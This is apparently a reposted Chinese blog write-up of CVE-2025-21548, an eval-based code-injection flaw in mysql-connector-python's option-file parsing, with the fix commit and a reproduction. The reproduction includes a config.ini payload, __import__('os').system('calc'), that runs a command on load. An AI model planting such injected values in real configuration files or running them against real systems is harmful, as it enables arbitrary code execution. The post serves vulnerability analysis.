一、前言
中文搜这个漏洞,得出来得结果居然是Oracle MySQL Server 漏洞,但去官网上看通告,发现是mysql的python客户端漏洞
https://www.oracle.com/security-alerts/cpujan2025.html
不像java大家只用官方的mysql-connector-java一样,python中更常用的可能还是PyMySQL。
https://github.com/PyMySQL/
这次出漏洞的客户端是官方的mysql-connector-python,<=9.1.0。
https://github.com/mysql/mysql-connector-python
虽然CVE上的描述比较多也比较宽泛,但官网上没有任何只言片语。
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2025-21548
此漏洞易于被利用,高权限攻击者可以通过多种协议通过网络访问 MySQL Connectors。成功的攻击需要除攻击者以外的其他人的交互。此漏洞的成功攻击可能导致未经授权地创建、删除或修改对关键数据或所有 MySQL Connectors 可访问数据的访问权限,以及未经授权读取部分 MySQL Connectors 可访问数据的权限,并可能导致 MySQL Connectors 挂起或频繁崩溃
二、diff
这种情况只能去diff了,很容易发现。
据此找到commit
https://github.com/mysql/mysql-connector-python/commit/dd9ded0dec35dbba773487c548c336cf742830ab
确定sink点在optionfiles.py,解析配置文件时直接使用了eval,修复方案为literal_eval。
三、复现
手动测试一下。
python3 -m pip install --upgrade mysql-connector-python==8.0.33
import mysql.connector
opt_file = 'config.ini'
connection = mysql.connector.connect(
read_default_file=opt_file,
option_groups=["incorrect_config"]
)
[incorrect_config]
user=root
password=mypass
database=cpydata
port=int(3306)
allow_local_infile=__import__('os').system('calc')
非常简单易懂的漏洞。不过看起来跟漏洞描述对不上啊,这是怎么回事?搜mysql-connector-python的历史CVE,大部分都是这种类似的非常宽泛的描述。猜测是一种保护限制的烟雾弹?
原文始发于微信公众号(珂技知识分享):CVE-2025-21548(mysql客户端RCE)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论